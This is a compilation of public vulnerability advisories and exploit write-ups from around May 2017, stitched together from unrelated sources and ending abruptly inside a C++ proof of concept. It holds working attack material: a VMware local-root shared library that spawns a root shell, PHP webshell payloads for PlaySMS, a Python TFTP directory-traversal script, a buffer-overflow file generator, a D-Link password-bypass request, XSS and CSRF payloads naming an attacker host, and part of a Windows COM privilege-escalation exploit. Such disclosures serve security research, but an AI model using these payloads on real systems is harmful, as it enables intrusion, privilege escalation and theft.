Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1164
This is an issue that allows unentitled root to read kernel frame
pointers, which might be useful in combination with a kernel memory
corruption bug.
By design, the syscall stack_snapshot_with_config() permits unentitled
root to dump information about all user stacks and kernel stacks.
While a target thread, along with the rest of the system, is frozen,
machine_trace_thread64() dumps its kernel stack.
machine_trace_thread64() walks up the kernel stack using the chain of
saved RBPs. It dumps the unslid kernel text pointers together with
unobfuscated frame pointers.
The attached PoC dumps a stackshot into the file stackshot_data.bin
when executed as root. The stackshot contains data like this:
00000a70 de 14 40 00 80 ff ff ff a0 be 08 77 80 ff ff ff |..@........w....|
00000a80 7b b8 30 00 80 ff ff ff 20 bf 08 77 80 ff ff ff |{.0..... ..w....|
00000a90 9e a6 30 00 80 ff ff ff 60 bf 08 77 80 ff ff ff |..0.....`..w....|
00000aa0 5d ac 33 00 80 ff ff ff b0 bf 08 77 80 ff ff ff |].3........w....|
The addresses on the left are unslid kernel text pointers; the
addresses on the right are valid kernel stack pointers.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42047.zip
.png.c9b8f3e9eda461da3c0e9ca5ff8c6888.png)
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Entries in this blog
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1149
The XNU kernel, when compiled for a x86-64 CPU, can run 32-bit x86
binaries in compatibility mode. 32-bit binaries use partly separate
syscall entry and exit paths.
To return to userspace, unix_syscall() in bsd/dev/i386/systemcalls.c
calls thread_exception_return() (in osfmk/x86_64/locore.s), which in
turn calls return_from_trap, which is implemented in
osfmk/x86_64/idt64.s.
return_from_trap() normally branches into return_to_user relatively
quickly, which then, depending on the stack segment selector, branches
into either L_64bit_return or L_32bit_return. While the L_64bit_return
path restores all userspace registers, the L_32bit_return path only
restores the registers that are accessible in compatibility mode; the
registers r8 to r15 are not restored.
This is bad because, although switching to compatibility mode makes it
impossible to directly access r8..r15, the register contents are
preserved, and switching back to 64-bit mode makes the 64-bit
registers accessible again. Since the GDT always contains user code
segments for both compatibility mode and 64-bit mode, an unprivileged
32-bit process can leak kernel register contents as follows:
- make a normal 32-bit syscall
- switch to 64-bit mode (e.g. by loading the 64-bit user code segment
using iret)
- store the contents of r8..r15
- switch back to compatibility mode (e.g. by loading the 32-bit user
code segment using iret)
The attached PoC demonstrates the issue by dumping the contents of
r8..r15. Usage:
$ ./leakregs
r8 = 0xffffff801d3872a8
r9 = 0xffffff8112abbec8
r10 = 0xffffff801f962240
r11 = 0xffffff8031d52bb0
r12 = 0x12
r13 = 0xffffff80094018f0
r14 = 0xffffff801cb59ea0
r15 = 0xffffff801cb59ea0
It seems like these are various types of kernel pointers, including
kernel text pointers.
If you want to compile the PoC yourself, you'll have to adjust the
path to nasm in compile.sh, then run ./compile.sh.
This bug was verified using the following kernel version:
15.6.0 Darwin Kernel Version 15.6.0: Mon Jan 9 23:07:29 PST 2017;
root:xnu-3248.60.11.2.1~1/RELEASE_X86_64 x86_64
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42046.zip
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1142
This vulnerability permits an unprivileged user on a Linux machine on
which VMWare Workstation is installed to gain root privileges.
The issue is that, for VMs with audio, the privileged VM host
process loads libasound, which parses ALSA configuration files,
including one at ~/.asoundrc. libasound is not designed to run in a
setuid context and deliberately permits loading arbitrary shared
libraries via dlopen().
To reproduce, run the following commands on a normal Ubuntu desktop
machine with VMWare Workstation installed:
~$ cd /tmp
/tmp$ cat > evil_vmware_lib.c
*/
#define _GNU_SOURCE
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/prctl.h>
#include <err.h>
extern char *program_invocation_short_name;
__attribute__((constructor)) void run(void) {
if (strcmp(program_invocation_short_name, "vmware-vmx"))
return;
uid_t ruid, euid, suid;
if (getresuid(&ruid, &euid, &suid))
err(1, "getresuid");
printf("current UIDs: %d %d %d\n", ruid, euid, suid);
if (ruid == 0 || euid == 0 || suid == 0) {
if (setresuid(0, 0, 0) || setresgid(0, 0, 0))
err(1, "setresxid");
printf("switched to root UID and GID");
system("/bin/bash");
_exit(0);
}
}
/*
/tmp$ gcc -shared -o evil_vmware_lib.so evil_vmware_lib.c -fPIC -Wall -ldl -std=gnu99
/tmp$ cat > ~/.asoundrc
hook_func.pulse_load_if_running {
lib "/tmp/evil_vmware_lib.so"
func "conf_pulse_hook_load_if_running"
}
/tmp$ vmware
Next, in the VMWare Workstation UI, open a VM with a virtual sound
card and start it. Now, in the terminal, a root shell will appear:
/tmp$ vmware
current UIDs: 1000 1000 0
bash: cannot set terminal process group (13205): Inappropriate ioctl for device
bash: no job control in this shell
~/vmware/Debian 8.x 64-bit# id
uid=0(root) gid=0(root) groups=0(root),[...]
~/vmware/Debian 8.x 64-bit#
I believe that the ideal way to fix this would be to run all code that
doesn't require elevated privileges - like the code for sound card
emulation - in an unprivileged process. However, for now, moving only
the audio output handling into an unprivileged process might also do
the job; I haven't yet checked whether there are more libraries VMWare
Workstation loads that permit loading arbitrary libraries into the
vmware-vmx process.
Tested with version: 12.5.2 build-4638234, running on Ubuntu 14.04.
*/
# Exploit Title: PlaySMS 1.4 Remote Code Execution using Phonebook import Function in import.php
# Date: 21-05-2017
# Software Link: https://playsms.org/download/
# Version: 1.4
# Exploit Author: Touhid M.Shaikh
# Contact: http://twitter.com/touhidshaikh22
# Website: http://touhidshaikh.com/
# Category: webapps
1. Description
Code Execution using import.php
We know import.php accept file and just read content
not stored in server. But when we stored payload in our backdoor.csv
and upload to phonebook. Its execute our payload and show on next page in field (in NAME,MOBILE,Email,Group COde,Tags) accordingly .
In My case i stored my vulnerable code in my backdoor.csv files's Name field .
But There is one problem in execution. Its only execute in built function and variable which is used in application.
That why the server not execute our payload directly. Now i Use "<?php $a=$_SERVER['HTTP_USER_AGENT']; system($a); ?>" in name field and change our user agent to any command which u want to execute command. Bcz it not execute <?php system("id")?> directly .
Example of my backdoor.csv file content
----------------------MY FILE CONTENT------------------------------------
Name Mobile Email Group code Tags
<?php $t=$_SERVER['HTTP_USER_AGENT']; system($t); ?> 22
--------------------MY FILE CONTENT END HERE-------------------------------
For More Details : www.touhidshaikh.com/blog/
For Video Demo : https://www.youtube.com/watch?v=KIB9sKQdEwE
2. Proof of Concept
Login as regular user (created user using index.php?app=main&inc=core_auth&route=register):
Go to :
http://127.0.0.1/playsms/index.php?app=main&inc=feature_phonebook&route=import&op=list
And Upload my malicious File.(backdoor.csv)
and change our User agent.
This is Form For Upload Phonebook.
----------------------Form for upload CSV file ----------------------
<form action=\"index.php?app=main&inc=feature_phonebook&route=import&op=import\" enctype=\"multipart/form-data\" method=POST>
" . _CSRF_FORM_ . "
<p>" . _('Please select CSV file for phonebook entries') . "</p>
<p><input type=\"file\" name=\"fnpb\"></p>
<p class=text-info>" . _('CSV file format') . " : " . _('Name') . ", " . _('Mobile') . ", " . _('Email') . ", " . _('Group code') . ", " . _('Tags') . "</p>
<p><input type=\"submit\" value=\"" . _('Import') . "\" class=\"button\"></p>
</form>
------------------------------Form ends ---------------------------
-------------Read Content and Display Content-----------------------
case "import":
$fnpb = $_FILES['fnpb'];
$fnpb_tmpname = $_FILES['fnpb']['tmp_name'];
$content = "
<h2>" . _('Phonebook') . "</h2>
<h3>" . _('Import confirmation') . "</h3>
<div class=table-responsive>
<table class=playsms-table-list>
<thead><tr>
<th width=\"5%\">*</th>
<th width=\"20%\">" . _('Name') . "</th>
<th width=\"20%\">" . _('Mobile') . "</th>
<th width=\"25%\">" . _('Email') . "</th>
<th width=\"15%\">" . _('Group code') . "</th>
<th width=\"15%\">" . _('Tags') . "</th>
</tr></thead><tbody>";
if (file_exists($fnpb_tmpname)) {
$session_import = 'phonebook_' . _PID_;
unset($_SESSION['tmp'][$session_import]);
ini_set('auto_detect_line_endings', TRUE);
if (($fp = fopen($fnpb_tmpname, "r")) !== FALSE) {
$i = 0;
while ($c_contact = fgetcsv($fp, 1000, ',', '"', '\\')) {
if ($i > $phonebook_row_limit) {
break;
}
if ($i > 0) {
$contacts[$i] = $c_contact;
}
$i++;
}
$i = 0;
foreach ($contacts as $contact) {
$c_gid = phonebook_groupcode2id($uid, $contact[3]);
if (!$c_gid) {
$contact[3] = '';
}
$contact[1] = sendsms_getvalidnumber($contact[1]);
$contact[4] = phonebook_tags_clean($contact[4]);
if ($contact[0] && $contact[1]) {
$i++;
$content .= "
<tr>
<td>$i.</td>
<td>$contact[0]</td>
<td>$contact[1]</td>
<td>$contact[2]</td>
<td>$contact[3]</td>
<td>$contact[4]</td>
</tr>";
$k = $i - 1;
$_SESSION['tmp'][$session_import][$k] = $contact;
}
}
------------------------------code ends ---------------------------
Bingoo.....
*------------------My Friends---------------------------*
|Pratik K.Tejani, Rehman, Taushif,Charles Babbage |
*---------------------------------------------------*
[+] Credits: John Page a.k.a hyp3rlinx
[+] Website: hyp3rlinx.altervista.org
[+] Source: http://hyp3rlinx.altervista.org/advisories/MANTIS-BUG-TRACKER-CSRF-PERMALINK-INJECTION.txt
[+] ISR: ApparitionSec
Vendor:
================
www.mantisbt.org
Product:
=========
Mantis Bug Tracker
1.3.10 / v2.3.0
MantisBT is a popular free web-based bug tracking system. It is written in PHP works with MySQL, MS SQL, and PostgreSQL databases.
Vulnerability Type:
========================
CSRF Permalink Injection
CVE Reference:
==============
CVE-2017-7620
Security Issue:
================
Remote attackers can inject arbitrary permalinks into the mantisbt Web Interface if an authenticated user visits a malicious webpage.
Vuln code in "string_api.php" PHP file, under mantis/core/ did not account for supplied backslashes.
Line: 270
# Check for URL's pointing to other domains
if( 0 == $t_type || empty( $t_matches['script'] ) ||
3 == $t_type && preg_match( '@(?:[^:]*)?:/*@', $t_url ) > 0 ) {
return ( $p_return_absolute ? $t_path . '/' : '' ) . 'index.php';
}
# Start extracting regex matches
$t_script = $t_matches['script'];
$t_script_path = $t_matches['path'];
Exploit/POC:
=============
<form action="http://VICTIM-IP/mantisbt-2.3.0/permalink_page.php?url=\/ATTACKER-IP" method="POST">
<script>document.forms[0].submit()</script>
</form>
OR
<form action="http://VICTIM-IP/permalink_page.php?url=\/ATTACKER-IP%2Fmantisbt-2.3.0%2Fsearch.php%3Fproject_id%3D1%26sticky%3Don%26sort%3Dlast_updated%26dir%3DDESC%26hide_status%3D90%26match_type%3D0" method="POST">
<script>document.forms[0].submit()</script>
</form>
Network Access:
===============
Remote
Severity:
=========
Medium
Disclosure Timeline:
=============================
Vendor Notification: April 9, 2017
Vendor Release Fix: May 15, 2017
Vendor Disclosed: May 20, 2017
May 20, 2017 : Public Disclosure
[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).
hyp3rlinx
# Exploit Title: CaseAware Cross Site Scripting Vulnerability
# Date: 20th May 2017
# Exploit Author: justpentest
# Vendor Homepage: https://caseaware.com/
# Version: All the versions
# Contact: transform2secure@gmail.com
# CVE : 2017-5631
Source: https://nvd.nist.gov/vuln/detail/CVE-2017-5631#vulnDescriptionTitle
1) Description:
An issue with respect to input sanitization was discovered in KMCIS
CaseAware. Reflected cross site scripting is present in the user parameter
(i.e., "usr") that is transmitted in the login.php query string. So
bascially username parameter is vulnerable to XSS.
2) Exploit:
https://caseaware.abc.com:4322/login.php?mid=0&usr=admin'><a
HREF="javascript:alert('OPENBUGBOUNTY')">Click_ME<'
----------------------------------------------------------------------------------------
3) References:
https://www.openbugbounty.org/incidents/228262/
https://nvd.nist.gov/vuln/detail/CVE-2017-5631#vulnDescriptionTitle
[+] Credits: John Page aka HYP3RLINX
[+] Website: hyp3rlinx.altervista.org
[+] Source: http://hyp3rlinx.altervista.org/advisories/SECURE-AUDITOR-v3.0-DIRECTORY-TRAVERSAL.txt
[+] ISR: ApparitionSec
Vendor:
====================
www.secure-bytes.com
Product:
=====================
Secure Auditor - v3.0
Secure Auditor suite is a unified digital risk management solution for conducting automated audits on Windows, Oracle and SQL databases
and Cisco devices.
Vulnerability Type:
===================
Directory Traversal
CVE Reference:
==============
CVE-2017-9024
Security Issue:
================
Secure Bytes Cisco Configuration Manager, as bundled in Secure Bytes Secure Cisco Auditor (SCA) 3.0, has a
Directory Traversal issue in its TFTP Server, allowing attackers to read arbitrary files via ../ sequences in a pathname.
Exploit/POC:
=============
import sys,socket
print 'Secure Auditor v3.0 / Cisco Config Manager'
print 'TFTP Directory Traversal Exploit'
print 'Read ../../../../Windows/system.ini POC'
print 'hyp3rlinx'
HOST = raw_input("[IP]> ")
FILE = '../../../../Windows/system.ini'
PORT = 69
PAYLOAD = "\x00\x01" #TFTP Read
PAYLOAD += FILE+"\x00" #Read system.ini using directory traversal
PAYLOAD += "netascii\x00" #TFTP Type
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.sendto(PAYLOAD, (HOST, PORT))
out = s.recv(1024)
s.close()
print "Victim Data located on : %s " %(HOST)
print out.strip()
Network Access:
===============
Remote
Severity:
=========
High
Disclosure Timeline:
==================================
Vendor Notification: May 10, 2017
No replies
May 20, 2017 : Public Disclosure
[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).
hyp3rlinx
# Exploit Title: Sure Thing Disc Labeler - Stack Buffer Overflow (PoC)
# Date: 5-19-17
# Exploit Author: Chance Johnson (albatross@loftwing.net)
# Vendor Homepage: http://www.surething.com/
# Software Link: http://www.surething.com/disclabeler
# Version: 6.2.138.0
# Tested on: Windows 7 x64 / Windows 10
#
# Usage:
# Open the project template generated by this script.
# If a readable address is placed in AVread, no exception will be thrown
# and a return pointer will be overwritten giving control over EIP when
# the function returns.
header = '\x4D\x56\x00\xFF\x0C\x00\x12\x00\x32\x41\x61\x33\x08\x00\x5E\x00'
header += '\x61\x35\x41\x61\x36\x41\x61\x37\x41\x61\x38\x41\x61\x39\x41\x62'
header += '\x30\x41\x62\x31\x41\x62\x32\x41\x62\x33\x41\x62\x34\x41\x62\x35'
header += '\x41\x62\x36\x41\x78\x37\x41\x62\x38\x41\x62\x39\x41\x63\x30\x41'
header += '\x0C\x00\x41\x63\x78\x1F\x00\x00\x41\x63\x34\x41\x63\x35\x41\x63'
junk1 = 'D'*10968
EIP = 'A'*4 # Direct RET overwrite
junk2 = 'D'*24
AVread = 'B'*4 # address of any readable memory
junk3 = 'D'*105693
buf = header + junk1 + EIP + junk2 + AVread + junk3
print "[+] Creating file with %d bytes..." % len(buf)
f=open("exp.std",'wb')
f.write(buf)
f.close()
# Exploit Title: D-Link DIR-600M Wireless N 150 Login Page Bypass
# Date: 19-05-2017
# Software Link: http://www.dlink.co.in/products/?pid=DIR-600M
# Exploit Author: Touhid M.Shaikh
# Vendor : www.dlink.com
# Contact : http://twitter.com/touhidshaikh22
# Version: Hardware version: C1
Firmware version: 3.04
# Tested on:All Platforms
1) Description
After Successfully Connected to D-Link DIR-600M Wireless N 150
Router(FirmWare Version : 3.04), Any User Can Easily Bypass The Router's
Admin Panel Just by Feeding Blank Spaces in the password Field.
Its More Dangerous when your Router has a public IP with remote login
enabled.
For More Details : www.touhidshaikh.com/blog/
IN MY CASE,
Router IP : http://192.168.100.1
Video POC : https://www.youtube.com/watch?v=waIJKWCpyNQring
2) Proof of Concept
Step 1: Go to
Router Login Page : http://192.168.100.1/login.htm
Step 2:
Fill username: admin
And in Password Fill more than 20 tims Spaces(" ")
Our Request Is look like below.
-----------------ATTACKER REQUEST-----------------------------------
POST /login.cgi HTTP/1.1
Host: 192.168.100.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.100.1/login.htm
Cookie: SessionID=
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 84
username=Admin&password=+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++&submit.htm%3Flogin.htm=Send
--------------------END here------------------------
Bingooo You got admin Access on router.
Now you can download/upload settiing, Change setting etc.
-------------------Greetz----------------
TheTouron(www.thetouron.in), Ronit Yadav
-----------------------------------------
Exploit Title: PlaySMS 1.4 Remote Code Execution (to Poisoning admin log)
# Date: 19-05-2017
# Software Link: https://playsms.org/download/
# Version: 1.4
# Exploit Author: Touhid M.Shaikh
# Contact: http://twitter.com/touhidshaikh22
# Website: http://touhidshaikh.com/
# Category: webapps
1. Description
Remote Code Execution in Admin Log.
In PlaySMS Admin have a panel where he/she monitor User status. Admin Can see Whose Online.
Using this functionality we can exploit RCE in Whose Online page.
When Any user Logged in the playSMS application. Some user details log on Whose Online panel like "Username", "User-Agent", "Current IP", etc. (You Can See Templeate Example Below)
For More Details : www.touhidshaikh.com/blog/
2. Proof of Concept
1) Login as regular user (created using index.php?app=main&inc=core_auth&route=register):
2) Just Change you User-agent String to "<?php phpinfo();?>" or whatever your php payload.(Make sure to change User Agent after log in)
3) Just surf on playsms. And wait for admin activity, When admin Checks Whose Online status ...(bingooo Your payload successfully exploited )
setting parameter in online.php
*------------------online.php-----------------*
$users = report_whoseonline_subuser();
foreach ($users as $user) {
foreach ($user as $hash) {
$tpl['loops']['data'][] = array(
'tr_class' => $tr_class,
'c_username' => $hash['username'],
'c_isadmin' => $hash['icon_isadmin'],
'last_update' => $hash['last_update'],
'current_ip' => $hash['ip'],
'user_agent' => $hash['http_user_agent'],
'login_status' => $hash['login_status'],
'action' => $hash['action_link'],
);
}
}
*-------------ends here online.php-----------------*
Visible on this page: report_online.html
*------------report_online.html-----------*
<loop.data>
<tr class={{ data.tr_class }}>
<td>{{ data.c_username }} {{ data.c_isadmin }}</td>
<td>{{ data.login_status }} {{ data.last_update }}</td>
<td>{{ data.current_ip }}</td>
<td>{{ data.user_agent }}</td>
<td>{{ data.action }}</td>
</tr>
</loop.data>
*------------Ends here report_online.html-----------*
*------------------Greetz----------------- -----*
|Pratik K.Tejani, Rehman, Taushif |
*---------------------------------------------------*
_____ _ _ _
|_ _|__ _ _| |__ (_) __| |
| |/ _ \| | | | '_ \| |/ _` |
| | (_) | |_| | | | | | (_| |
|_|\___/ \__,_|_| |_|_|\__,_|
Touhid SHaikh
An Independent Security Researcher.
Title: ManageEngine ServiceDesk Plus Application Compromise
Date: 19 May 2017
Researcher: Steven Lackey (ByteM3)
Product: ServiceDesk Plus (http://www.manageengine.com/)
Affected Version: 9.0 (Other versions could also be affected)
Fixed Version: Service Pack 9241 – Build 9.2
Vulnerability Impact: High
Published Date:
Email: bytem3 [at] bytem3.com <http://cyberdefensetechnologies.com/>
Product Introduction
===============
ServiceDesk Plus is ITIL-ready help desk software with integrated Assetand
Project Management capabilities.
With advanced ITSM functionality and easy-to-use capability, ServiceDesk
Plus helps IT support teams deliver
world-class service to end users with reduced costs and complexity. It
comes in three editions and is available
in 29 different languages. Over 100,000 organizations, across 185
countries, trust ServiceDesk Plus to optimize
IT service desk performance and achieve high end user satisfaction.
Source: https://www.manageengine.com/products/service-desk/
Vulnerability Information
==================
Class: Backdoor
Impact: Account and Application Compromise
Remotely Exploitable: Yes
Authentication Required: Yes
User interaction required: Yes
CVE Name: N/A
Vulnerability Description
===================
A valid username can be used as both username/password to login and
compromise the application through the “/mc/” directory which is the
‘mobile client’ directory. This can be achieved ONLY if Active
Directory/LDAP is being used.
This flaw exists because of the lack of password randomization in the
application version 9.0 when a user is entered into the application, thus
the application assigns the password as the username. The flaw can then be
exploited by logging into the application through the “/mc” directory and
then backing out of the “/mc” directory by deleting it from the URL thus
positioning you in the main application with the authority of the user you
logged in as. (Help locating a valid username can come from another
discovered vulnerability in this same version of software here:
https://www.exploit-db.com/exploits/35891/ - with credit to Muhammad Ahmed
Siddiqui for discovering how to enumerate usernames)
Proof-of-Concept Authenticated User
============================
An attacker can use the following URL to login to the mobile client with
any workstation:
http://server/mc/
Use the discovered username in both the username and password fields.
Ensure the “Is AD Auth” box is checked and click login.
Once logged in, remove “/mc/” from the URL and you will be presented with
the full application and the authorities of the user you just logged in
with.
You can now continue to look for usernames inside the application until a
user with administrative privileges has been discovered and can compromise
with administrative authority. Please note, ServiceDesk Plus has the
ability to ‘scan’ machines on any available network it can see, meaning,
system accounts are typically entered into the application to keep an
inventory of machines that ServiceDesk can manage. It is possible to
compromise not only the hosting machine for this application, however, the
entire network as I did on the Penetration Test where I discovered this
‘backdoor’.
Vendor Response
=======
I have contacted the vendor and they advised they have fixed this
particular issue with a new service pack ‘9241’, however, this insanely
vulnerability is still out there, as this scenario has not been published
as of yet, other than the vendors statement on their 9.2 Release readme
webpage (https://www.manageengine.com/products/service-desk/readme-9.2.html)
and email to me here:
“FIX: PATCH *SD-61664 :* Based on Database configuration, an option to set
the LocalAuthentication password as Random or predefined, for the users
added through ActiveDirectory (AD), LDAP, Dynamic user addition, users
created via e-mail Requests has been provided. Make sure that the
notification under Admin >> Notification Rules >> Send Self-service login
details is enabled before performing the import so that LA user details
will be notified to users through email.”
Timeline
=======
18-Apr-2017 – Notification to Vendor
19-Apr-2017 – Response from Vendor
31-Jan-2017 – Vulnerability fixed by Vendor
19-May-2017 – Still no clear publication on this backdoor
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1107
Windows: COM Aggregate Marshaler/IRemUnknown2 Type Confusion EoP
Platform: Windows 10 10586/14393 not tested 8.1 Update 2
Class: Elevation of Privilege
Summary:
When accessing an OOP COM object using IRemUnknown2 the local unmarshaled proxy can be for a different interface to that requested by QueryInterface resulting in a type confusion which can result in EoP.
Description:
Querying for an IID on a OOP (or remote) COM object calls the ORPC method RemQueryInterface or RemQueryInterface2 on the default proxy. This request is passed to the remote object which queries the implementation object and if successful returns a marshaled representation of that interface to the caller.
The difference between RemQueryInterface and RemQueryInterface2 (RQI2) is how the objects are passed back to the caller. For RemQueryInterface the interface is passed back as a STDOBJREF which only contains the basic OXID/OID/IPID information to connect back. RemQueryInterface2 on the other hand passes back MInterfacePointer structures which is an entire OBJREF. The rationale, as far as I can tell, is that RQI2 is used for implementing in-process handlers, some interfaces can be marshaled using the standard marshaler and others can be custom marshaled. This is exposed through the Aggregate Standard Marshaler.
The bug lies in the implementation of unpacking the results of the the RQI2 request in CStdMarshal::Finish_RemQIAndUnmarshal2. For each MInterfacePointer CStdMarshal::UnmarshalInterface is called passing the IID of the expected interface and the binary data wrapped in an IStream. CStdMarshal::UnmarshalInterface blindly unmarshals the interface, which creates a local proxy object but the proxy is created for the IID in the OBJREF stream and NOT the IID requested in RQI2. No further verification occurs at this point and the created proxy is passed back up the call stack until the received by the caller (through a void** obviously).
If the IID in the OBJREF doesn’t match the IID requested the caller doesn’t know, if it calls any methods on the expected interface it will be calling a type confused object. This could result in crashes in the caller when it tries to access methods on the expected interface which aren’t there or are implemented differently. You could probably also return a standard OBJREF to a object local to the caller, this will result in returning the local object itself which might have more scope for exploiting the type confusion. In order to get the caller to use RQI2 we just need to pass it back an object which is custom marshaled with the Aggregate Standard Marshaler. This will set a flag on the marshaler which indicates to always use the aggregate marshaler which results in using RQI2 instead of RQI. As this class is a core component of COM it’s trusted and so isn’t affected by the EOAC_NO_CUSTOM_MARSHAL setting.
In order to exploit this a different caller needs to call QueryInterface on an object under a less trusted user's control. This could be a more privileged user (such as a sandbox broker), or a privileged service. This is pretty easy pattern to find, any method in an exposed interface on a more trusted COM object which takes an interface pointer or variant would potentially be vulnerable. For example IPersistStream takes an IStream interface pointer and will call methods on it. Another type of method is one of the various notification interfaces such as IBackgroundCopyCallback for BITS. This can probably also be used remotely if the attacker has the opportunity to inject an OBJREF stream into a connection which is set to CONNECT level security (which seems to be the default activation security).
On to exploitation, as you well know I’ve little interest in exploiting memory corruptions, especially as this would either this will trigger CFG on modern systems or would require a very precise lineup of expected method and actual called method which could be tricky to exploit reliably. However I think at least using this to escape a sandbox it might be your only option. So I’m not going to do that, instead I’m going to exploit it logically, the only problem is this is probably unexploitable from a sandbox (maybe) and requires a very specific type of callback into our object.
The thing I’m going to exploit is in the handling of OLE Automation auto-proxy creation from type libraries. When you implement an Automation compatible object you could implement an explicit proxy but if you’ve already got a Type library built from your IDL then OLEAUT32 provides an alternative. If you register your interface with a Proxy CLSID for PSOAInterface or PSDispatch then instead of loading your PS DLL it will load OLEAUT32. The proxy loader code will lookup the interface entry for the passed IID to see if there’s a registered type library associated with it. If there is the code will call LoadTypeLib on that library and look up the interface entry in the type library. It will then construct a custom proxy object based on the type library information.
The trick here is while in general we don’t control the location of the type library (so it’s probably in a location we can write to such as system32) if we can get an object unmarshaled which indicates it’s IID is one of these auto-proxy interfaces while the privileged service is impersonating us we can redirect the C: drive to anywhere we like and so get the service to load an arbitrary type library file instead of a the system one. One easy place where this exact scenario occurs is in the aforementioned BITS SetNotifyInterface function. The service first impersonates the caller before calling QI on the notify interface. We can then return an OBJREF for a automation IID even though the service asked for a BITS callback interface.
So what? Well it’s been known for almost 10 years that the Type library file format is completely unsafe. It was reported and it wasn’t changed, Tombkeeper highlighted this in his “Sexrets [sic] of LoadLibrary” presentation at CSW 2015. You can craft a TLB which will directly control EIP. Now you’d assume therefore I’m trading a unreliable way of getting EIP control for one which is much easier, if you assume that you’d be wrong. Instead I’m going to abuse the fact that TLBs can have referenced type libraries, which is used instead of embedding the type definitions inside the TLB itself. When a reference type is loaded the loader will try and look up the TLB by its GUID, if that fails it will take the filename string and pass it verbatim to LoadTypeLib. It’s a lesser know fact that this function, if it fails to find a file with the correct name will try and parse the name as a moniker. Therefore we can insert a scriptlet moniker into the type library, when the auto-proxy generator tries to find how many functions the interface implements it walks the inheritance chain, which causes the referenced TLB to be loaded, which causes a scriptlet moniker to be loaded and bound which results in arbitrary execution in a scripting language inside the privileged COM caller.
The need to replace the C: drive is why this won’t work as a sandbox escape. Also it's a more general technique, not specific to this vulnerability as such, you could exploit it in the low-level NDR marshaler layer, however it’s rare to find something impersonating the caller during the low-level unmarshal. Type libraries are not loaded using the flag added after CVE-2015-1644 which prevent DLLs being loaded from the impersonate device map. I think you might want to fix this as well as there’s other places and scenarios this can occur, for example there’s a number of WMI services (such as anything which touches GPOs) which result in the ActiveDS com object being created, this is automation compatible and so will load a type library while impersonating the caller. Perhaps the auto-proxy generated should temporarily disable impersonation when loading the type library to prevent this happening.
Proof of Concept:
I’ve provided a PoC as a C++ source code file. You need to compile it first. It abuses the BITS SetNotifyInterface to get a type library loaded under impersonation. We cause it to load a type library which references a scriptlet moniker which gets us code execution inside the BITS service.
1) Compile the C++ source code file.
2) Execute the PoC from a directory writable by the current user.
3) An admin command running as local system should appear on the current desktop.
Expected Result:
The caller should realize there’s an IID mismatch and refuse to unmarshal, or at least QI the local proxy for the correct interface.
Observed Result:
The wrong proxy is created to that requested resulting in type confusion and an automation proxy being created resulting in code execution in the BITS server.
*/
// BITSTest.cpp : Defines the entry point for the console application.
//
#include <bits.h>
#include <bits4_0.h>
#include <stdio.h>
#include <tchar.h>
#include <lm.h>
#include <string>
#include <comdef.h>
#include <winternl.h>
#include <Shlwapi.h>
#include <strsafe.h>
#include <vector>
#pragma comment(lib, "shlwapi.lib")
static bstr_t IIDToBSTR(REFIID riid)
{
LPOLESTR str;
bstr_t ret = "Unknown";
if (SUCCEEDED(StringFromIID(riid, &str)))
{
ret = str;
CoTaskMemFree(str);
}
return ret;
}
GUID CLSID_AggStdMarshal2 = { 0x00000027,0x0000,0x0008,{ 0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46 } };
GUID IID_ITMediaControl = { 0xc445dde8,0x5199,0x4bc7,{ 0x98,0x07,0x5f,0xfb,0x92,0xe4,0x2e,0x09 } };
class CMarshaller : public IMarshal
{
LONG _ref_count;
IUnknownPtr _unk;
~CMarshaller() {}
public:
CMarshaller(IUnknown* unk) : _ref_count(1)
{
_unk = unk;
}
virtual HRESULT STDMETHODCALLTYPE QueryInterface(
/* [in] */ REFIID riid,
/* [iid_is][out] */ _COM_Outptr_ void __RPC_FAR *__RPC_FAR *ppvObject)
{
*ppvObject = nullptr;
printf("QI - Marshaller: %ls %p\n", IIDToBSTR(riid).GetBSTR(), this);
if (riid == IID_IUnknown)
{
*ppvObject = this;
}
else if (riid == IID_IMarshal)
{
*ppvObject = static_cast<IMarshal*>(this);
}
else
{
return E_NOINTERFACE;
}
printf("Queried Success: %p\n", *ppvObject);
((IUnknown*)*ppvObject)->AddRef();
return S_OK;
}
virtual ULONG STDMETHODCALLTYPE AddRef(void)
{
printf("AddRef: %d\n", _ref_count);
return InterlockedIncrement(&_ref_count);
}
virtual ULONG STDMETHODCALLTYPE Release(void)
{
printf("Release: %d\n", _ref_count);
ULONG ret = InterlockedDecrement(&_ref_count);
if (ret == 0)
{
printf("Release object %p\n", this);
delete this;
}
return ret;
}
virtual HRESULT STDMETHODCALLTYPE GetUnmarshalClass(
/* [annotation][in] */
_In_ REFIID riid,
/* [annotation][unique][in] */
_In_opt_ void *pv,
/* [annotation][in] */
_In_ DWORD dwDestContext,
